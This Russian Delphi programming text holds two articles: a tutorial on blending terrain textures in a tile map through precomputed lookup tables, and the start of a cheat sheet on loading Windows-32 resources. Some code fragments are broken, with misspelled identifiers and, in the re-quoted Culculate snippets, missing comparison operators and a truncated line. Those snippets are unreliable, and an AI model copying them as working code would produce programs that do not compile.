Введем базовые индексы типов земель. Пусть базовый индекс воды равен 0, базовый индекс травы равен 1, камней — 2. Тогда, узнав порядковый номер текстуры, мы можем выяснить какому типу земли она принадлежит, достаточно разделить целочисленным делением (Div) порядковый номер текстуры на 16. Если же мы разделим этот номер делением по остатку (Mod) на 16, то узнаем смещение или номер промежуточной текстуры внутри интервала номеров принадлежащего данному типу земли. Например, мы обратились к ячейке и получили номер 23. Поделив этот номер целочисленным делением на 16 получим 1. Это тип земли — ТРАВА. Поделив делением по модулю остатка на 16 получим 7. Это номер промежуточной текстуры.(См. Рисунок 4, только в данном случае была бы трава с землей) Заметьте, если бы вместо 7 мы получили 0, это означало бы цельную текстуру данной земли, 15 означало бы цельную текстуру переходного типа — ЗЕМЛЯ.

Теперь давайте немного попишем:

PMap : PbyteArray; // указатель на матрицу содержащую нашу карту

WorldWidth, WorldHeight : Integer; // Ширина и высота карты в ячейках

Procedure createnewmap(worldwidth,worldheigth : integer);

Begin // Выделение памяти под матрицу

 GetMem(pMap,WodrldWidth*WorldHeight);

 // Заполнение этого участка нулями

 FillChar(pMap,WorldWidth*WorldHeight,0);

End;

funcion getelement(x,y : integer):byte;

Begin // Получить значение ячейки

 Result := pMap[y*WorldWidth + x];

End;

Procedure putelement(x,y : integer; index : byte);

Begin // Записать значение в ячейку

 PMap[y*WorldWidth + x] := Index;

End;

Function getbaseindex(index : byte): byte;

Begin // Получить тип земли в виде номера(индекса)

 Result := Index div 16;

End;

Function getadditionalindex(index : byte):byte;

Begin // Получить номер переходной текстуры

 Result := Index mod 16;

End;

Вот. Вспомогательные функции мы написали, перейдем к рассмотрению технологии.

Посмотрите на Рисунок 6(б). Видно, что когда мы заменяем значение одной ячейки, эти изменения влияют, как на первый так и на второй круги ячеек. Возникает резонный вопрос: не случится ли такой ситуации, когда помещение на карту новой текстуры потребует перерисовки всей карты, так, словно кто-то бросил камень в воду? Если следовать принципам изложенным в этой статье, то не случится. Я проверял все варианты. Изменения касаются лишь первого и второго круга. Кто не верит, может проверить, посчитать, прикинуть, но это займет много времени. Теперь мы подходим к главному — по какому принципу рассчитывать новые значения изменяемых текстур. Возможно я Вас немного удивлю, но рассчитывать нам больше ничего не придется. Нам понадобится создать три массива (таблицы) 16 на 25 элементов, записать в них заранее расчитанные значения, а затем их считывать в ходе выполнения программы. Сейчас поясню.

Поскольку в общей сумме у нас по максимуму может измениться 25 элементов на карте (Рисунок 6(б)), мы создадим вспомогательную матрицу 5х5, куда будем считывать с карты значения соответствующих ячеек. Затем мы изменим значения в этой матрице и поместим ее снова на карту откуда взяли.

В каждой ячейке может быть следующее значение:

Index + GroundIndex*16 , где

Index — число от 0 до 15 указывающее на номер переходной текстуры. GroundIndex — число от 0 до 2 указывающее на тип земли — ВОДА, ТРАВА, КАМНИ

Итак мы знаем номер лежащей в ячейке переходной текстуры (GetAdditionalIndex), мы также знаем номер этой ячейки в матрице 5×5. Этого вполне достаточно. Мы создадим массив-таблицу ширина которого равна количеству возможных переходных текстур 16, а высота равна количеству ячеек в матрице 5×5=25. Дальше мы действуем следующим образом: Считываем в матрицу 5×5 участок карты центром которого является ячейка в которую мы "кладем" новую землю, в ячейку 12 кладем цельную текстуру той земли которой мы рисуем. Затем для всех ячеек матрицы 5×5 кроме 12-ой делаем следующее: Поучаем номер переходной текстуры (GetAdditionalIndex) и обращаемся к таблице 16×25. Где номер переходной текстуры это положение ячейки таблицы 16×25 по горизонтали, а номер ячейки в матрице 5×5 это положение ячейки таблицы 16×25 по вертикали. На рисунке 7, цифра 6 по горизонтали это GetAdditionalIndex от текстуры, которая прячется в матрице 5×5 в ячейке номер 17, а "Х" в красной клетке это тот самый новый номер для этой текстуры. Фактически смысл сводится к следующему: посмотрели какая была текстура — заглянув в таблицу, узнали какая стала.

Рисунок 7

Вы наверное спросите — а как узнать какие значения должны быть в таблице 16×25? Никак. Они рассчитываются в уме и записываются в таблицу ручками. Но вы можете не задумываться над этим, я уже рассчитал и записал их в своем примере. Смотрите в исходниках.

Кстати в тексте статьи я упоминал о том, что нам придется создать три таблицы 16×25. Я не оговорился. Дело в том, что у нас возможны три варианта, когда значения одной и той же ячейки в таблице должны быть разными:

1. Активная земля равняется прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке тоже ТРАВА или ТРАВА с ЗЕМЛЕЙ.

2. Активная земля не равна прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке ВОДА или ВОДА с ЗЕМЛЕЙ.

3. Рисуем переходным типом земли — ЗЕМЛЯ.

Если кому-нибудь еще что-то не понятно, то надеюсь после рассмотрения исходных текстов программы все встанет на свои места.

Пример написан на Delphi 3 Professional, с использованием компонент библиотеки DelphiX для DirectX 6.0

Модуль MapDat:

// Определение класса Matrix5

Type TMatrix5 = class(TObject)

private

 Matrix : array[0..4,0..4] of byte;

 Vector : array[0..24] of byte;

public

 function GetBaseIndex( ElementIndex : Integer ): Integer;

 Function GetAdditionalIndex( ElementIndex : Integer ): Integer;

 procedure Fill(X,Y : Integer);

 procedure Place(X,Y : Integer);

 procedure Culculate(X,Y : Integer; BrushIndex : Integer );

 procedure Draw(X,Y : Integer; BrushIndex : Integer );

end;

Внутри класса определены переменные в виде матрицы 5×5 и вектора. Некогда я думал, что это упростит написание программы, сейчас я думаю, что можно воспользоваться только вектором. Методы GetBaseIndex и GetAdditionalIndex мы уже рассматривали, рассмотрим остальные:

Метод Fill(x,y : Integer);

procedure TMatrix5.Fill(X,Y : Integer);

var i,j : Integer;

begin

 for j := 0 to 4 do

 for i := 0 to 4 do

  Matrix[i,j] := MainForm.GetElement(X – 2 + i,Y – 2 + j);

 for j :=0 to 4 do

 for i := 0 to 4 do

 Vector[j*5 + i] := Matrix[i,j];

end;

Заполняет матрицу и вектор 25-ю элементами карты. Х,Y — указывает на центральный элемент.

Метод Place(x,y : Integer);

procedure TMatrix5.Place(X,Y : Integer);

var i,j : Integer;

begin

 for j := 0 to 4 do

 for i := 0 to 4 do

  Matrix[i,j] := Vector[j*5 + i];

 for j := 0 to 4 do

 for i := 0 to 4 do

  MainForm.PutElement(X – 2 + i,Y – 2 + j, Matrix[i,j] );

end;

Выполняет процедуру обратную методу Fill. То есть кладет матрицу 5х5 на карту.

Метод Draw(x,y : Integer; BrushIndex : Integer);

procedure TMatrix5.Draw(X,Y : Integer; BrushIndex : Integer);

begin

 Self.Culculate(X,Y,BrushIndex);

 Self.Place(X,Y);

end;

Выполняет методы Culculate, а затем Place. X,Y — указывают центральный элемент в матрице 5×5, BrushIndex — индекс активной земли. (0-вода,1-трава,2-камни,3– переходный тип — земля).

Прежде чем перейти к основному методу данного модуля — Culculate, покажу вам созданные таблицы.

const BasicTable : array[0..24,0..15] of byte = (

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,16),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,16),

(10, 1, 2, 7,15, 5, 6, 7,15, 1,10, 2, 7,13, 6,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(12, 5, 7, 3, 4, 5,15, 7, 8, 4,13, 3,12,13, 8,16),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,16),

(11, 6, 2, 3, 8,15, 6, 7, 8,14, 2,11, 3, 7,14,16),

(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));

EqualTable : array[0..24,0..15] of byte = ( (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,10,16,16,12,13, 2,16, 3, 0,16,16,16,16,11, 7),

(16, 0,11,16,12,12,11, 3, 3, 0, 0,16,16,12,11, 3),

(16, 9,11,16,16, 4,14, 3,16,16, 0,16,16,12,16, 8), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,10,16,11, 0,10, 2, 2,11, 0,16,16, 0,10,11, 2), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16, 9, 0,12,16, 4, 9,12, 4,16, 0, 0,16,12, 9, 4), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),

(16,16,16,11, 9, 1,16, 2,14,16,16,16, 0,10,16, 6),

(16,16,10, 0, 9, 1, 1,10, 9,16,16, 0, 0,10, 9, 1),

(16,16,10,12,16,16, 1,13, 4,16,16, 0,16,16, 9, 5), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));

NotEqualTable : array[0..24,0..15] of byte = (

( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),

(10, 1, 2, 7, 5, 5, 6, 7,15, 1,10, 2,13,13, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23), (19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19), (24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22), (17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17), (21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21),

( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),

(12, 5, 7, 3, 4, 5,15, 7, 8, 4,15,13,12,13, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),

(11, 6, 2, 3,15,15, 6, 7, 8,14, 2,11, 3, 7,14,15));

BasicTable — используется, когда мы рисуем переходным типом земли.

EqualTable — испльзуется, когда прежняя земля в ячейке равна активной. NotEqualTable — испльзуется, когда прежняя земля в ячейке не равна активной.

Заметьте, что в таблицах иногда используется число 16, а в таблице NotEqualTable и больше. Число 16 указывает, что текстура не изменится в результате наших воздействий. Честно говоря, я просто не помню зачем я вводил числа больше 16-ти, я написал эту программу год назад. В дальнейшем в теле модуля Culculate я от этих чисел отнимаю 16, а зачем — Бог его знает. Кому охота — можете исправить, но программа работает.

Да, на первый взгляд таблицы выглядят немного устрашающе. Кто-то может спросить: Зачем громоздить такие кошмары? Неужели не найти формулу для расчета? Ведь так будет намного компактнее. Но я отвечу, что программы на ассемблере выглядят тоже страшновато, зато работают намного быстрее, чем на других языках. Может и есть формула, но я уверен, что она непростая, а стало быть работать будет намного медленнее чем простое обращение к массиву.

procedure TMatrix5.Culculate(X,Y : Integer ; BrushIndex : Integer );

var

 i : Integer;

 BaseIndex, AdditionalIndex : Integer;

Begin // Заполнить матрицу считав значения с карты

 Self.Fill(X,Y);

 if BrushIndex = 3 then // Если рисуем переходной землей

 begin

  Vector[12] := 15;// Заносим центральный элемент

  for i := 0 to 24 do

  begin // Получить тип земли в виде индекса(0,1,2)

   BaseIndex := GetBaseIndex(Vector[i]);

   // и прежний номер переходной текстуры

   AdditionalIndex := GetAdditionalIndex(Vector[i]);

   // Если число в таблице BasicTable не равно 16 то,

   // к индексу типа земли умноженному на 16

   // прибавляем новое смещение

   // и заносим в Vector

   // ,иначе ничего не меняется

   if BasicTable[i,AdditionalIndex] <> 16 then Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex];

  end;

 end { Конец обработки варианта "Переходная земля"}

 else // Иначе, если рисуем не переходной землей

 begin

  Vector[12] := BrushIndex*16;// Заносим центральный элемент

  for i := 0 to 24 do

  begin // Получить тип земли в виде индекса(0,1,2)

   BaseIndex := GetBaseIndex(Vector[i]);

   // и прежний номер переходной текстуры

   AdditionalIndex := GetAdditionalIndex(Vector[i]);

   // Если прежняя земля имеет тот же тип, что и активная

   if BaseIndex = BrushIndex then begin

    // Если число в таблице EqualTable не равно 16 то,

    // к индексу типа земли умноженному на 16

    // прибавляем новое смещение

    // и заносим в Vector

    // ,иначе ничего не меняется

    if EqualTable[i,AdditionalIndex] <> 16 then Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];

   end

   else // Если заменяемая и замещающая земля имеют разные типы

   begin // Если число в таблице NotEqualTable не равно 16 то,

    // к индексу типа земли умноженному на 16

    // прибавляем новое смещение

    // и заносим в Vector

    // ,иначе ничего не меняется

    if NotEqualTable[i,AdditionalIndex] < 16 then Vector[i] := BaseIndex*16 + NotEqualTable[i,AdditionalIndex]

    else if NotEqualTable[i,AdditionalIndex] > 16 then Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16;

   end;

  end;

 end;

end;

Разберем все по полочкам: Первая строчка Self.Fill(X,Y); заполняет матрицу 5х5 значениями считанными с карты. Дальше следует такой кусок кода:

if BrushIndex = 3 then begin

 Vector[12] := 15;

 for i := 0 to 24 do begin

  BaseIndex := GetBaseIndex(Vector[i]);

  AdditionalIndex := GetAdditionalIndex(Vector[i]);

  if BasicTable[i,AdditionalIndex] 16 then Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex];

 end;

end

В нем мы рассчитываем случай, когда рисуем переходным типом земли — ЗЕМЛЯ (if BrushIndex = 3 then). Строка Vector[12] := 15; заносит в центральный элемент №12 цельную текстуру активной земли, для нашего случая это могут быть числа 15,31,47. Как мы помним именно под этими номерами в нашем ImageListe находятся цельные текстуры ЗЕМЛИ. Далее в цикле, для каждого элемента взятого с карты и положенного в матрицу ( в данном виде – в вектор, для упрощения организации цикла) получаем индекс типа земли (BaseIndex := GetBaseIndex(Vector[i]);), получаем номер переходной текстуры (AdditionalIndex := GetAdditionalIndex(Vector[i]);), и лезем в соответствующую таблицу (входные параметры которой это номер ячейки i и номер переходной текстуры AdditionalIndex). Если на выходе получим число 16, то ничего не меняем, если другое число, то индекс типа земли умножаем на 16 – это номер цельной текстуры данного типа земли, и прибавляем число полученное из таблицы — это новый номер переходной текстуры.

Рисунок 8

Как видно из рисунка 8, если в матрице 5×5 лежит в некоторой ячейке число 20, то индекс переходной текстуры будет равен 4 (20 mod 16), индекс типа земли равен 1 (20 div 16), а индекс цельной текстуры земли равен 16 (Индекс типа земли * 16). Номер ячейки, где лежит число 20, и индекс переходной текстуры (4) — входные параметры в таблицу BaseTable. Если мы на выходе получим, к примеру число 8, то нужно к индексу цельной текстуры прибавить 8, чтобы получить индекс новой переходной текстуры. ( Индекс типа земли * 16 + 8 = 24 ) Это будет новое число, которое мы поместим на карту.

Следующий кусок кода:

 else begin

  Vector[12] := BrushIndex*16;

  for i := 0 to 24 do begin

   BaseIndex := GetBaseIndex(Vector[i]);

   AdditionalIndex := GetAdditionalIndex(Vector[i]);

   if BaseIndex = BrushIndex then begin

    if EqualTable[i,AdditionalIndex] 16 then Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex];

   end else begin

    if NotEqualTable[i,AdditionalIndex] else if NotEqualTable[i,AdditionalIndex]> 16 then Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] – 16;

   end;

  end;

 end;

end;

Делает все то же самое, для двух оставшихся случаев. Голубым выделены те строчки, которые по моему мнению можно удалить, но при этом исправить в таблице NotEqualTable числа больше 16 на эти же числа минус 16. Все, с технологией покончено!!!

Следующие страницы я посвящу некоторым особенностям вывода карты на экран в моем примере. Кого интересовала только технология расчета плавных перетеканий текстур, дальше, если нет желания, могут не читать.

Как я уже говорил, в примере я использовал компоненты для DirectX, написанные каким-то хорошим китайцем. Имя у него соответственно самое что ни на есть китайское, по этому я его не помню.

Конкретно для вывода карты на экран использовались компоненты TDXDraw, TDXImageList и TDXTimer.

TDXDraw — в основном используется для переключения страниц видеопамяти. Что это такое объяснять не буду.

TDXImageList — хранит в качестве элементов файлы со спрайтами выстроенными в одну цепочку. Соответственно к конкретному спрайту можно обратится по имени файла и номеру спрайта в нем. Также в этом компоненте есть две переменные PatternWidth, PatternHeight для указания ширины и высоты спрайтов, и переменная TransparentColor для указание прозрачного цвета.

TDXTimer — используется для генерации события DXTimerTimer с частотой заданной или рассчитанной в ходе выполнения программы.

Итак, текстуры выполнены в виде одного файла внутри которого выстроены в цепочку в соответствии с принципами изложенными выше и помещены в TDXImageList под именем "West". ( TDXImageList позволяет находить файлы внутри себя по их имени)

Нам нужно вывести на экран некоторую часть карты, причем карта наша состоит из кусочков и нам нужно вывести только те кусочки, которые видны в данный момент.

Можно сделать окно вывода кратным размеру текстур, а скроллинг организовать потекстурно с шагом равным ширине/высоте текстуры, тогда нет проблем, но это смотрится не очень красиво. Наша задача состоит в том, чтобы организовать скроллинг попиксельно и дать возможность задать окно вывода любого размера. Для того, чтобы это сделать нужно рассчитать сколько текстур по горизонтали и сколько текстур по вертикали мы должны отрисовать в окне вывода, включая и те текстуры которые в данный момент времени видны только частично.

Рисунок 9

На рисунке 9 клеточками изображена карта. Черным контуром показано окно вывода. Как видно – не все ячейки карты целиком влезли в окно, но их тоже надо отрисовать. Положение окна вывода на карте определяется координатами его левого верхнего угла относительно карты.( TopLeftCorner.x, TopLeftCorner.y) Их величины в пикселях(Нам же надо сделать попиксельный скроллинг) При создании новой карты они приравниваются нулям, и в дальнейшем определяются положением полос прокрутки. Вот часть кода:

procedure TMainForm.RedrawMap;

Var

 OffsPoint : TPoint;

 TopLeftElem : TPoint;

 ElemCount : TPoint;

 HelpVar1 : Integer;

 HelpVar2 : Integer;

 i,j : Integer;

 x,y : Integer;

 Index : Integer;

begin

 OffsPoint.x := TopLeftCorner.x mod ElemWidth;

 OffsPoint.y := TopLeftCorner.y mod ElemHeight;

Данные две строчки позволяют получить смешение левого верхнего угла экрана внутри левой верхней ячейки(См. рисунок 9). Глобальные переменные ElemWidth,ElemHeight это высота и ширина ячейки(текстуры). Теперь нам необходимо получить номер строки и столбца ячейки где находится левый верхний угол окна вывода:

TopLeftElem.x := TopLeftCorner.x div ElemWidth;

TopLeftElem.y := TopLeftCorner.y div ElemHeight;

Далее необходимо рассчитать сколько у нас целых текстур влезает в окно вывода по вертикали и горизонтали:

HelpVar1 := DXDraw.Width – (ElemWidth – OffsPoint.x );

HelpVar2 := DXDraw.Height – (ElemHeight – OffsPoint.y );

ElemCount.x := HelpVar1 div ElemWidth;

ElemCount.y := HelpVar2 div Elemheight;

Где DXDraw.Width, DXDraw.Height – это ширина и высота окна вывода. Если у нас есть нецелые текстуры снизу и справа окна вывода, то добавляем к ElemCount.x, ElemCount.y по единице:

if (HelpVar1 mod ElemWidth)> 0 Then Inc( ElemCount.x );

if (HelpVar2 mod ElemHeight)> 0 Then Inc( ElemCount.y );

Далее следует вывод на экран:

For j := 0 to ElemCount.y do  For i := 0 to ElemCount.x do Begin // Вычислить координаты куда выводить

 X := i * ElemWidth – OffsPoint.x;

 Y := j * ElemHeight – OffsPoint.y;

 // Вычислить номер текстуры

 Index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j);

 // Вывести текстуру на экран

 // Учтите что LandType это не тип земли, а тип мира

 // Snow,West и т.д.

 ImageList.Items.Find(LandType).Draw(DXDraw.Surface,x,y,Index);

end;

Строка: Index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j); обращается к матрице карты и считывает оттуда номер текстуры, следующая строка выводит ее на экран.

Возможно вы спросите: А как же нецелые текстуры слева и сверху окна вывода? Их-то ты не учел? Посмотрите на кусок кода отвечающий за вывод на экран. Циклическая переменная инициализируется от 0 до ElemCount.(x,y). Это значит, что всегда выводится на одну текстуру больше, чем в ElemCount, а если слева и сверху нет нецелых текстур, то переменная OffsPoint.(x,y) будет равна размерам ячейки. Переменные HelpVar(1,2) станут на размер ячейки меньше, и следовательно переменные ElemCount.(x,y) станут на единицу меньше. Все. Смотрите исходники в модуле Main.pas.

В программе не отловлены все баги. Например определен только один тип мира "West", да и текстуры нарисованы чисто схематически.

Исходные тексты Вы можете скачать тут , а библиотеку DelphiX найдете на сайте DelphiGFX в разделе Libs.

Шпаргалка по ресурсам Windows-32 (для Delphi)

Этот текст — попытка сжатого ответа на большинство заданных в конференции вопросов по ресурсам Windows. Возможно, Вы найдете здесь (в неявном виде) объяснение части связанных с ресурсами сложностей в Delphi.

Стандартная технология доступа к ресурсам

Для компиляции примера надо создать на диске перечисленные исходные файлы (все в текстовом формате). Я не привел примеров для ресурсов типа BitMap`ов, Icon`ов и курсоров, поскольку обращения к ним достаточно тривиальны и не содержат каких-либо неоднозначностей, и, во-вторых, они (декларации ресурсов) недостаточно компактно записываются в виде текста.

Файл `#_Msg.Ini`

Список строк в текстовом файле

msgHello= Здавствуйте !

msgBye= До свидания …

Файл `#_Msg.RC`

Скрипт компилятора ресурсов. В двоичном ресурсе с именем RC1 записана ASCIIz-строка `QWERTY`.

RC1 RCDATA

{

'51 57 45 52 54 59 00'

}

STRINGTABLE

{

1000, "Здравствуйте ."

1001, "До свидания ..."

}

Файл `Proj_L.Dpr`:

Мы используем Delphi как линкер, чтобы дописать стандартный заголовок исполняемых файлов Windows к файлу `#_Msg.Res`. Последний делается компилятором ресурсов из скрипта `#_Msg.RC`. IDE может ругаться при загрузке этого проекта из-за отсутствия секции `uses` —дура.

{$IMAGEBASE $40000000}

{$APPTYPE CONSOLE}

library Proj_L;

{$R #_MSG.RES}

BEGIN

END.

Файл `Make_DLL.Bat`:

Компилируем скрипт `#_Msg.RC` в файл `#_Msg.Res`; компилируем и линкуем проект `Proj_L.Dpr`. Получаем файл `Proj_L.Dll`.

rem –- may be used BRC32 or BRCC32

rem c:\del3\bin\brc32 –r #_msg.rc

c:\del3\bin\brcc32 #_msg.rc

c:\del3\bin\dcc32 /b proj_l.dpr

pause

Файл `Proj.Dpr`

{$APPTYPE GUI}

{$D+,O-,S-,R-,I+,A+,G+}

{$IfOpt D-} {$O+} {$EndIf}

program Proj;

{$IfNDef WIN32}

  error: it works only under Win32

{$EndIf}

uses

  Windows,

  SysUtils,

  Classes;

{//////////////////////////////////////////////}

procedure i_MsgBox( const ACap,AStr:String );

{ service routine: simple message-box }

begin

  Windows.MessageBox( 0, pChar(AStr), pChar(ACap),

    MB_OK or MB_ICONINFORMATION );

end;

{///// TestSList ////}

procedure TestSList;

{ load strings from ini-file via tStringList }

const

  cFName = '#_MSG.INI';

var

  qSList : tStringList;

begin

  qSList := tStringList.Create;

  with qSList do try

    LoadFromFile( ExtractFilePath(ParamStr(0))+cFName );

    i_MsgBox( 'strings collection via VCL:',

      Trim(Values['msghello'])+#13+Trim(Values['MSGBYE']) );

  finally Free;

  end;

end;

{//// TestBuiltInStrRes ////}

RESOURCESTRING

  sMsgHello = 'ЯВЕРТЫяверты';

  sMsgBye = 'явертыЯВЕРТЫ';

procedure TestBuiltInStrRes;

{ load strings from resources via Delphi`s Linker }

begin

  i_MsgBox( 'built-in string resources:', sMsgHello+#13+sMsgBye );

end;

{//////////////////////////////////////////////}

type

  tFH_Method = procedure( AFHandle:tHandle );

{ `AFHandle` must be a handle of instance of image (of memory-map)

  of a PE-file (EXE or DLL) }

procedure i_Call_FH_Method( AProc:tFH_Method );

{ it is wrapper to load and free a instance of binary

  file with resource; also it calls to "AProc()" with

  given instance-handle }

const

  cLibName = 'PROJ_L.DLL';

var

  qFHandle : tHandle;

begin

  qFHandle := Windows.LoadLibrary(

    pChar(ExtractFilePath(ParamStr(0))+cLibName) );

  if qFHandle=0 then

    i_MsgBox( 'Error loading library',

      Format('Code# %xh',[Windows.GetLastError]) )

  else

    try     AProc( qFHandle );

    finally Windows.FreeLibrary( qFHandle );

    end;

end;

{//// TestBinRes_WinAPI ////}

procedure TestBinRes_WinAPI( AFHandle:tHandle );

{ loading binary resource via usual windows-API }

var

  qResH,

  qResInfoH : tHandle;

begin

  qResInfoH := Windows.FindResourceEx( AFHandle , RT_RCDATA, 'RC1', 0 );

  qResH := Windows.LoadResource( AFHandle, qResInfoH );

  try     i_MsgBox( 'binary resource (Win API):',

            pChar(Windows.LockResource(qResH)) );

  finally Windows.FreeResource( qResH );

  end;

end;

{//// TestBinRes_VCLStream ////}

procedure TestBinRes_VCLStream( AFHandle:tHandle );

{ loading binary resource via VCL`s stream }

var

  qResStream : tResourceStream;

begin

  qResStream := tResourceStream.Create( AFHandle, 'RC1', RT_RCDATA );

  try     i_MsgBox( 'binary resource (VCL stream):',

            pChar(qResStream.Memory) );

  finally qResStream.Free;

  end;

end;

{//// TestStrRes_WinAPI ////}

procedure TestStrRes_WinAPI( AFHandle:tHandle );

{ loading string resource via usual windows-API }

const

  cBufSize = 512;

var

  qBuf : array[0..1,0..cBufSize-1]of Char;

begin

  Windows.LoadStringA( AFHandle, 1000, qBuf[0], cBufSize );

  Windows.LoadStringA( AFHandle, 1001, qBuf[1], cBufSize );

  i_MsgBox( 'string resources (Win API):',

    StrPas(qBuf[0])+#13+StrPas(qBuf[1]) );

end;

BEGIN

  TestSList;

  TestBuiltInStrRes;

  i_Call_FH_Method( TestBinRes_WinAPI );

  i_Call_FH_Method( TestBinRes_VCLStream );

  i_Call_FH_Method( TestStrRes_WinAPI );

END.

Замечания:

• Rесурсы частично вынесены во внешнюю DLL только для демонстрации, поскольку большинство вопросов в конференции подразумевает именно такое их использование.

• Если ресурсы слинкованы не в отдельную DLL, а в исполняемый файл проекта, в параметре AFHandle надо везде передавать `0` или значение переменной System.HInstance.

• Вместо функции Windows.FindResource() я предпочитаю FindResourceEx() с лишним явным параметром — `LanguageId`. Дело в том, что первая не всегда находит ресурсы, сделанные борландовскими компиляторами — семантика LanguageId по умолчанию определена MS не совсем однозначно.

• Для однозначности, я явно указал имя функции Windows.LoadStringA(). В NT работает еще функция LoadStringW(), которая возвращает строки UNICODE. В Win95 LoadStringW() возвращает код ошибки `not implemented`.

Внутренний формат ресурсов Windows

В каталоге DELPHI\DEMOS\RESXPLOR есть пример работы с ресурсами Windows на самом `фундаментальном` уровне — непосредствено с форматом PE COFF (Portable Executable Common Object File Format) для Win32. Данный раздел написан, в основном, для тех, кто захочет разобраться в этом стандартном примере Delphi.

Сами по себе ресурсы — индексированный набор данных с записями переменной длины. Чтобы конкретную запись ресурса можно было найти, у нее есть один из двух идентификаторов — имя (строка символов UNICODE) или целое число. Целыми числами идентифицируются, например, каталоги стандартных типов ресурсов и строки в таблицах. Большинство записей ресурсов стандартных типов идентифицируются именами. Практически, в именах ресурсов разумно использовать только подмножетсво стандартных символов ASCII (коды от 0 до 255). Описание стандартных типов ресурсов Windows можно посмотреть в on-line help`е любой IDE C или Delphi. Любопытно, что способ идентификации ресурса ( целое число или ссылка на имя ) специфицирован, скорее, не на уровне стандарта, а на уровне принятых соглашений. Для поиска ресурса мы, в общем случае, задаем три параметра:

• Тип — один из стандартных кодов типа ресурса. В вызовах API это может быть либо адресом строки, содержащей одно из стандартных имен, либо — одна из констант RT_xxx из DELPHI\SOURCE\RTL\WIN\WINDOWS.PAS.

• Идентификатор. В зависимости от типа ресурса, это может быть целое число или имя.

• Язык ресурса. Кодируется целым числом.

Формат ресурсов PE COFF ориентирован чтобы:

– максимально быстро находить нужный ресурс по указаным трем параметрам,

